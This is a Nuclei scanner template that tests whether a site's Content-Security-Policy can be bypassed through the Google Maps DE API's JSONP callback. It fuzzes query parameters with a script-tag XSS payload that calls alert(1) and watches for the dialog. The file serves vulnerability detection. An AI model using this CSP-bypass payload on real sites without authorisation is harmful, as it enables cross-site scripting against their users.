id: google-maps-de-csp-bypass

info:
  name: Content-Security-Policy Bypass - Google Maps DE
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,google-maps-de,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "google.de"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: google_maps_de_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://maps.google.de/maps/api/js?sensor=false&callback=alert(1)"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "google_maps_de_csp_xss == true"
# digest: 4b0a004830460221009e48ade3a3b5c56e918567b502bb8dd637300d22da794de0516f7cebca97fddc0221008a5050736ee2fb0549d8b545ec735003e364360b6457134a4343ff7be6b8441a:922c64590222798bb761d5b6d8e72950